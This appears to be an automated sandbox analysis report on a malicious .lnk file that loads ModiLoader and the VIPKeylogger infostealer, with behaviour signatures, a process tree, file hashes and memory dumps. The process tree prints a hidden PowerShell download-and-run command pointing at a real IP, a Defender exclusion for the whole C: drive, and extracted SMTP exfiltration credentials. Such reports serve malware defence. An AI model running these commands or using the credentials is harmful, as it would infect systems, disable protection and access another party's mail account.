Analysis

  • max time kernel
    146s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15-01-2025 08:31

General

  • Target

    SCN-00120258988.lnk

  • Size

    2KB

  • MD5

    d2f8a24574b8dfff091aceedcbe7422d

  • SHA1

    40653d02667f7cbfe38682e131670ee9e13efed2

  • SHA256

    3739246e4eef28e6ed8fc6c4ffde9a9d746632756976f08cf6fe14dad8f4b99f

  • SHA512

    601b21884e9b6bf801fa9a12e94a688f38aa5dadc1ba6fbdb9ffdb9d078bc8180ebf18fc4bee86890fa34050fef7431550d669810312437154530e0ef97fbc46

Malware Config

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    mail.irco.com.sa
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    info12A

Extracted

Family

vipkeylogger

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Modiloader family
  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • ModiLoader Second Stage 61 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Powershell Invoke Web Request.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\SCN-00120258988.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4972
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -command "& { Invoke-WebRequest -Uri http://147.124.216.113/albt.exe -OutFile C:\Users\Admin\AppData\Local\Temp\file.exe; Start-Process 'C:\Users\Admin\AppData\Local\Temp\file.exe' }"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2736
      • C:\Users\Admin\AppData\Local\Temp\file.exe
        "C:\Users\Admin\AppData\Local\Temp\file.exe"
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5044
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Public\NsltarpnF.cmd" "
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1716
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1548
          • C:\Windows \SysWOW64\svchost.pif
            "C:\Windows \SysWOW64\svchost.pif"
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:3972
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\NEO.cmd
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:1256
              • C:\Windows\system32\extrac32.exe
                extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.pif"
                7⤵
                  PID:4316
                • C:\Users\Public\xkn.pif
                  C:\\Users\\Public\\xkn.pif -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath 'C:\'"
                  7⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1820
                • C:\Windows\system32\PING.EXE
                  ping 127.0.0.1 -n 10
                  7⤵
                  • System Network Configuration Discovery: Internet Connection Discovery
                  • Runs ping.exe
                  PID:1664
          • C:\Users\Public\Libraries\npratlsN.pif
            C:\Users\Public\Libraries\npratlsN.pif
            4⤵
            • Executes dropped EXE
            • Accesses Microsoft Outlook profiles
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • outlook_office_path
            • outlook_win_path
            PID:1852

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      8d80c45e0e047b75073a3d1c2710c68f

      SHA1

      babc73cf30327b36d184239a2747ec94d48929f4

      SHA256

      6859c4cad4b17bf02f7f25d9b5b9633491a29c1420ccbdf9342a459d5be05e64

      SHA512

      5da876ce855d1d9a031899d283bf2ac6c53c4d14982a1300e4d128cbde46202a259d1299dfb40c81fcfe5fb6770fb00f404673c13967800392f8f8442a5d2d24

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xnsjke2b.vbg.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\file.exe

      Filesize

      834KB

      MD5

      c765af11517bdd9f600ad988c5107249

      SHA1

      85d787e012a4f5d50dfca08571634c6f1c82aeb5

      SHA256

      ce26bc4556fabe4a47c885353f169def4913c3b1f3f72af47f61952f07e26068

      SHA512

      562cd97ac800e36348a1df041338d086522248c65a30725720e2ec6a6c7d5a386f0b17da7b01922aaeff6000924c118889fc576378b7d09eef1ebb86858c257e

    • C:\Users\Public\Libraries\FX.cmd

      Filesize

      8KB

      MD5

      7821e3de3812e791cf3b223500d73bc9

      SHA1

      5e211b634ce77e6fee83ce8a5b8c9a37c8b81e1d

      SHA256

      3daa7f9eee129f61f7a452f7150ee21a1c4141586a37f37842b9c3bb53152a74

      SHA512

      6eae270065401626df97b73a255578bf27b4f4dea480954843823046ad95e40cf706c1a767c8765ef3ab48ea3a18498375614317ec00a9ef29a4dd21edbc5f26

    • C:\Users\Public\Libraries\NEO.cmd

      Filesize

      27KB

      MD5

      e24fa8fb365a89779b026772b9342af3

      SHA1

      b90de3c9f3093ca8badfaf6c98218b744087e8f9

      SHA256

      10d7b4ea056fc1037109fe6e6694849d145b0745faa9ae02957104a2834a14a0

      SHA512

      a32f7a29c4c8cc831a5057b8db31f79e7dedb9172ac9705da6a8da65384ed23827c3cccdb833562cdab63addd679341707a2b46bbc8c802845cbbbbb01771d10

    • C:\Users\Public\Libraries\npratlsN.pif

      Filesize

      171KB

      MD5

      22331abcc9472cc9dc6f37faf333aa2c

      SHA1

      2a001c30ba79a19ceaf6a09c3567c70311760aa4

      SHA256

      bdfa725ec2a2c8ea5861d9b4c2f608e631a183fca7916c1e07a28b656cc8ec0c

      SHA512

      c7f5baad732424b975a426867d3d8b5424aa830aa172ed0ff0ef630070bf2b4213750e123a36d8c5a741e22d3999ca1d7e77c62d4b77d6295b20a38114b7843c

    • C:\Users\Public\NsltarpnF.cmd

      Filesize

      11KB

      MD5

      f82aeb3b12f33250e404df6ec873dd1d

      SHA1

      bcf538f64457e8d19da89229479cafa9c4cce12f

      SHA256

      23b7417b47c7efb96fb7ce395e325dc831ab2ee03eadda59058d31bdbe9c1ea6

      SHA512

      6f9d6daeed78f45f0f83310b95f47cc0a96d1db1d7f6c2e2485d7a8ecb04fee9865eec3599fee2d67f3332f68a70059f1a6a40050b93ef44d55632c24d108977

    • C:\Users\Public\xkn.pif

      Filesize

      442KB

      MD5

      04029e121a0cfa5991749937dd22a1d9

      SHA1

      f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

      SHA256

      9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

      SHA512

      6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

    • C:\Windows \SysWOW64\NETUTILS.dll

      Filesize

      116KB

      MD5

      a88976a70aed45f610a032e438a82a95

      SHA1

      ec20b0f0d6ccc848c8ffa857ab4e771672dfa4f2

      SHA256

      f3d5a6ebcd8cab3cc9a98488b23c2de740c6ef04e33ed317a3e2a047d53d169b

      SHA512

      ec77bb81b9e6de4af8a17eb26281d10fc9a05947d588f2ee3680ada67ed28118fbc9a2d0e63bf0ecc2a4c318555a4f27e72ecf1a530a506e9b4fbf5efdb4f676

    • C:\Windows \SysWOW64\svchost.pif

      Filesize

      94KB

      MD5

      869640d0a3f838694ab4dfea9e2f544d

      SHA1

      bdc42b280446ba53624ff23f314aadb861566832

      SHA256

      0db4d3ffdb96d13cf3b427af8be66d985728c55ae254e4b67d287797e4c0b323

      SHA512

      6e775cfb350415434b18427d5ff79b930ed3b0b3fc3466bc195a796c95661d4696f2d662dd0e020c3a6c3419c2734468b1d7546712ecec868d2bbfd2bc2468a7

    • memory/1852-465-0x0000000022970000-0x00000000229D0000-memory.dmp

      Filesize

      384KB

    • memory/1852-488-0x0000000025040000-0x00000000255E4000-memory.dmp

      Filesize

      5.6MB

    • memory/1852-1586-0x00000000266C0000-0x0000000026BEC000-memory.dmp

      Filesize

      5.2MB

    • memory/1852-1585-0x00000000265D0000-0x0000000026620000-memory.dmp

      Filesize

      320KB

    • memory/1852-1584-0x00000000263C0000-0x0000000026582000-memory.dmp

      Filesize

      1.8MB

    • memory/1852-1582-0x0000000024F40000-0x0000000024FDC000-memory.dmp

      Filesize

      624KB

    • memory/1852-489-0x0000000024EB0000-0x0000000024F0C000-memory.dmp

      Filesize

      368KB

    • memory/1852-1590-0x0000000026C50000-0x0000000026CE2000-memory.dmp

      Filesize

      584KB

    • memory/1852-1591-0x0000000026E70000-0x0000000026E7A000-memory.dmp

      Filesize

      40KB

    • memory/2736-25-0x00007FFCC6060000-0x00007FFCC6B21000-memory.dmp

      Filesize

      10.8MB

    • memory/2736-14-0x00007FFCC6060000-0x00007FFCC6B21000-memory.dmp

      Filesize

      10.8MB

    • memory/2736-13-0x00007FFCC6060000-0x00007FFCC6B21000-memory.dmp

      Filesize

      10.8MB

    • memory/2736-8-0x00000149DBFE0000-0x00000149DC002000-memory.dmp

      Filesize

      136KB

    • memory/2736-2-0x00007FFCC6063000-0x00007FFCC6065000-memory.dmp

      Filesize

      8KB

    • memory/5044-75-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-48-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-74-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-73-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-72-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-69-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-67-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-89-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-82-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-60-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-81-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-59-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-79-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-58-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-57-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-77-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-76-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-56-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-80-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-55-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-54-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-71-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-53-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-70-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-52-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-68-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-51-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-66-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-50-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-65-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-63-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-78-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-62-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-61-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-47-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-46-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-45-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-44-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-43-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-42-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-41-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-39-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-38-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-37-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-35-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-36-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-83-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-84-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-85-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-86-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-88-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-90-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-87-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-64-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-49-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-40-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-34-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-29-0x0000000000400000-0x00000000004D9000-memory.dmp

      Filesize

      868KB

    • memory/5044-27-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-26-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-33-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-31-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB

    • memory/5044-32-0x0000000002980000-0x0000000003980000-memory.dmp

      Filesize

      16.0MB